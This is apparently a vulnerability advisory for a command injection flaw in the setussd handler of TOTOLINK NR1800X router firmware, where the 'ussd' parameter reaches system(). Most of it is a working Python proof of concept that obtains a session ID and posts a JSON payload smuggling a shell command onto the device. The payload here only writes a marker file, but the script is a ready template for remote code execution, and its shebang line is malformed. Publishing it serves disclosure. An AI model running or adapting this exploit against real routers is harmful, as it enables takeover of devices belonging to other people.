# TOTOLINK NR1800X Command Injection Vulnerability Summary ## Vulnerability Overview In the `setussd` processing path of `cstecgi.cgi`, the `ussd` parameter is directly concatenated into a command string and passed to `system` for execution, leading to a command injection risk. ## Affected Scope * **Vendor**: TOTOLINK * **Affected Product**: CB34FR-1C (NR1800X) * **Affected Firmware Version**: V9.1.0u.6279_B20210910 (observed in local lab) ## Remediation * No specific remediation plan or patch link is provided on the page. * It is recommended that the vendor implement strict input filtering or escaping for the `ussd` parameter in `cstecgi.cgi` to prevent direct concatenation into system commands. ## POC Code ```python #!/usr/bin/bin/env python3 import json import re import socket TARGET = "192.168.211.128" PORT = 80 LOGIN_PATH = "/formLoginAuth.htm?authCode=&action=login" CGI_PATH = "/cgi-bin/cstecgi.cgi" def send_raw(req: bytes) -> bytes: with socket.create_connection((TARGET, PORT), timeout=3) as s: s.sendall(req) s.settimeout(3) chunks = [] while True: try: chunk = s.recv(4096) if not chunk: break chunks.append(chunk) except socket.timeout: break return b"".join(chunks) def get_session_id() -> str: req = ( f"GET {LOGIN_PATH} HTTP/1.1\r\n" f"Host: {TARGET}\r\n" f"Connection: close\r\n\r\n" ).encode() data = send_raw(req).decode(errors="ignore") m = re.search(r"SESSION_ID=([^\r\n]*)", data) return m.group(1) if m else "" def verify_set_ussd(session_id: str) -> str: cmd_payload = "# ; echo 'Congratulations on executing the command' > /tmp/ussd_success;" cmd_payload += "# ; echo 'Congratulations on executing the command' > /tmp/ussd_success;" body = json.dumps({"topicurl": "setussd", "ussd": cmd_payload}, separators=(",", ":")) req = ( f"POST {CGI_PATH} HTTP/1.1\r\n" f"Host: {TARGET}\r\n" f"Content-Type: application/json\r\n" f"Content-Length: {len(body.encode())}\r\n" f"Cookie: SESSION_ID={session_id}\r\n" f"Connection: close\r\n\r\n" f"{body}" ).encode() data = send_raw(req).decode(errors="ignore") return data.split("\r\n", 1)[0] if data else "NO_RESPONSE" if __name__ == "__main__": sid = get_session_id() if not sid: print("[FAILED] no SESSION_ID") else: print(verify_set_ussd(sid)) ```